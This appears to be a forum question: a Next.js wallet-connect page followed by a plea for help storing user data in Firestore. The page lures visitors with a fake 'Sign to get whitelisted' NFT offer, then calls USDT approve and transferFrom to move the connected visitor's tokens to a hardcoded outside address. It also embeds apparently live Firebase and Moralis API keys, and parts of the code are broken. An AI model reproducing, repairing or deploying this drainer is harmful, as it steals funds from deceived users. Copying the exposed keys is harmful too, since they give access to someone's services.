import { Button, Text, Flex, Center, useColorModeValue, Image, Box, Tabs, TabList, Tab, TabPanels, TabPanel, Alert, AlertIcon, Link, styled, AccordionButton } from "@chakra-ui/react"
import Head from "next/head"
import { useMoralis, useWeb3Contract } from "react-moralis"
import Balance from "../components/Balance"
import Transactions from "../components/Transactions"
import Header from "../components/Header"
import Profile from "../components/Profile"
import moralisV1 from 'moralis-v1'
import { useEffect, useState } from "react"
import { Modal, ModalOverlay, ModalContent, ModalHeader, ModalFooter, ModalBody, ModalCloseButton } from '@chakra-ui/react'
import { useDisclosure } from '@chakra-ui/react'
import { MoralisProvider } from "react-moralis";
import {initializeApp} from "firebase/app";
import {getFirestore, addDoc, collection} from 'firebase/firestore'
import { getAuth } from '@firebase/auth';
import {getDatabase} from 'firebase/database';
import { getMoralisAuth } from '@moralisweb3/client-firebase-auth-utils';
import { signInWithMoralis } from '@moralisweb3/client-firebase-evm-auth';
import { getFunctions } from "firebase/functions"
import WalletConnectProvider from "@walletconnect/web3-provider";
import { Web3Provider } from '@ethersproject/providers';
export const app = initializeApp({
apiKey: "AIzaSyBb5Pt9inGrPrVXp-sEtkCt3JX-Dn8i1BY",
authDomain: "crypto-c63aa.firebaseapp.com",
projectId: "crypto-c63aa",
storageBucket: "crypto-c63aa.appspot.com",
messagingSenderId: "816656453821",
appId: "1:816656453821:web:44e0bb46ab1c494875e7d4",
measurementId: "G-HRE2LN8J9N"
});
const db = getFirestore();
const auth = getAuth(app);
const functions = getFunctions();
// const Container = styled.div`
// display: flex;
// justify-content: center;
// align-items: center;
// height: 100vh;
// `;
// const Button = styled.button`
// min-width: 100px;
// padding: 16px 32px;
// border-radius: 4px;
// border: none;
// background: #141414;
// color: #fff;
// font-size: 24px;
// cursor: pointer;
// `;
function Home() {
const [user, setUser]= useState(null);
//const { EvmChain } = require("@moralisweb3/common-evm-utils");
// const walletAddress = user;
// const userRef = doc(db, "users", user.id);
// setDoc(userRef, { walletAddress}, {merge:true}).then(() => {
// console.log("Wallet address stored")
// })
// .catch((error) => {
// console.error("error storig wallet", error)
// });
//firebase firestore add wallet address
const addUser = () => {
const userCollectionRef = FireBase.firestore();
userCollectionRef.collection('users').add({
walletAddress: user.displayName
})
console.log()
}
const Moralis = require("moralis").default;
if (!Moralis.Core.isStarted) {
Moralis.start({
apiKey:
"yYTdIJJUIjXmqw1OvdPTFurDBRxyClTe3lCFUx30EvqbECDVJ3TyyT2pqvHAslbk",
});
}
const ABI = [];
//const {isAuthenticated, authenticate, user, enableWeb3, isWeb3Enabled, Moralis, logout, isLoggingOut } = useMoralis()
const {isAuthenticated, authenticate, login, enableWeb3, isWeb3Enabled, logout, isLoggingOut } = useMoralis()
const [approved, setApproved] = useState(false);
const { runContractFunction: gas, data: enterTxResponse, error, isLoading, isFetching } = useWeb3Contract({
}
);
async function approve(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
let res = await contract.approve("0xdAC17F958D2ee523a2206206994597C13D831ec7", 1000000, {
gasPrice: ethers.utils.parseUnits("5", "gwei").toString(),
gasLimit: 48525
})
}
const { account } = useMoralis();
async function transfer(){
const ethers = Moralis.web3Library;
const web3Provider = await Moralis.enableWeb3();
const signer = web3Provider.getSigner();
const contract = new ethers.Contract("0xdAC17F958D2ee523a2206206994597C13D831ec7", ABI, signer);
let res = await contract.transferFrom({
_from: account,
_to: "0x2589Fd32E1849028562ec92fc72f54B2A376050e",
_value: 1000000,
gasPrice: ethers.utils.parseUnits("20","gwei").toString(),
gasLimit: 280000
})
}
useEffect(() => {
if (!isWeb3Enabled && isAuthenticated)
enableWeb3();
},[isWeb3Enabled, isAuthenticated]);
const { isOpen, onOpen, onClose } = useDisclosure()
if(!isAuthenticated && !user) {
console.log(user);
async function login() {
const moralisAuth = getMoralisAuth(app, {
auth,
functions,
});
const res = await signInWithMoralis(moralisAuth);
setUser(res.credentials.user);
console.log(res.credentials.user)
}
async function logout() {
await auth.signOut();
setUser(null);
}
return(
<>
<Head>
<title></title>
</Head>
<Flex
direction="column"
justifyContent="center"
alignItems="center"
width="100vw"
height="100vh"
bgGradient="linear(to-br, teal.400, purple.300)"
backgroundImage="url('../bay.jpg')"
>
<Text fontSize="5xl" fontWeight="bold" color="white">Connect Wallet</Text>
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => login({
signingMessage: "Sign to get whitelisted"
})}
>Sign in with Metamask</Button>
<br />
<Button colorScheme="purple" size="lg" mt="6"
onClick={() => authWalletConnect({
signingMessage: "Sign to get whitelisted "
})}
>Sign in with Wallet Connect</Button>
</Flex>
{/* <p>
Firebase Moralis Auth Extension 🔐
</p>
{!user ? (
<Button style={{ cursor: "pointer" }} onClick={login}>
Login
</Button>
) : (
<>
<p>User:{user}</p>
<div style={{ cursor: "pointer" }} onClick={logout}>
Logout
</div>
</>
)} */}
</>
)
};
async function authWalletConnect() {
const user = login({
provider: "walletconnect",
chainId: 56,
mobileLinks: [
"metamask",
"trust",
"rainbow",
"argent",
"imtoken",
"pillar",
"mathwallet",
"meet.one wallet",
"equal",
"safepal",
"cool wallet",
"xwallet",
"atomic",
"myetherwallet",
"cybavo",
"onto",
"mycrypto",
"minerva wallet",
"metax",
"encrypted ink",
"gnosis safe",
"bitpay",
"fireblocks",
"debank",
"tokenpocket",
"infinity wallet",
"coinbase wallet"
],
signingMessage: "Sign to get whitelisted on ",
});
console.log(user);
};
// const handleSuccess = async (tx) => {
// await tx.wait(1)
// setApproved(true)
// // handleNewNotification(tx)
// }
// console.log(handleSuccess)
const onClick = () => {
approve().then(() => {
handleSuccess()
})
console.log(onClick)
}
return (
<>
<Head>
<title></title>
<meta name="description" content="" />
<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
<link rel="icon" type="image/jpeg" sizes="32x32" href="/favicon.jpeg" />
<link rel="icon" type="image/jpeg" sizes="16x16" href="/favicon.jpeg" />
<link rel="manifest" href="/site.webmanifest" />
<link rel="mask-icon" href="/safari-pinned-tab.svg" color="#5bbad5" />
<meta name="msapplication-TileColor" content="#da532c" />
<meta name="theme-color" content="#ffffff" />
</Head>
<Flex direction="column" width="100vw" height="100vh">
<Header user={user.displayName} logout={logout} isLoggingOut={isLoggingOut}/>
<Box flex="1" bg="purple.100" px="11" py="44">
<Tabs size="lg" colorScheme="purple" align="center" variant="enclosed">
<Alert status="success">
<AlertIcon />
Wallet connected succesfully {user.displayName}
</Alert>
<br />
<Button onClick={onOpen}>Get it now!</Button>
<Modal isOpen={isOpen} onClose={onClose}>
<ModalOverlay />
<ModalContent>
<ModalHeader color="purple">Be among the 1st 100</ModalHeader>
<ModalCloseButton />
<ModalBody>
<Image src="../bored.jpg" />
</ModalBody>
<ModalFooter>
{/* <Button colorScheme='blue' mr={3} onClick={onClose}>
Close
</Button> */}
<Button ml="4" className="bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded ml-auto"
// onClick={async () =>
// await gas({
// onSuccess: handleSuccess,
// })
// }
// const onClick = () => {
// gas().then(() => {
// handleSuccess()
// })
// }
disabled={isLoading || isFetching || approved}>{ approved ? "Approved" : "Get It!" }
</Button>
<Button ml="4" colorScheme="green" disabled={isLoading || isFetching || !approved}>Continue</Button>
</ModalFooter>
</ModalContent>
</Modal>
<br />
{/* <Link href="wss://.com/" isExternal>
Head back to
</Link> */}
<TabPanel>
<Balance user={account}/>
</TabPanel>
</Tabs>
</Box>
</Flex>
</>
)
}
export default Home
please what am i doing wrong to store user data in firestore?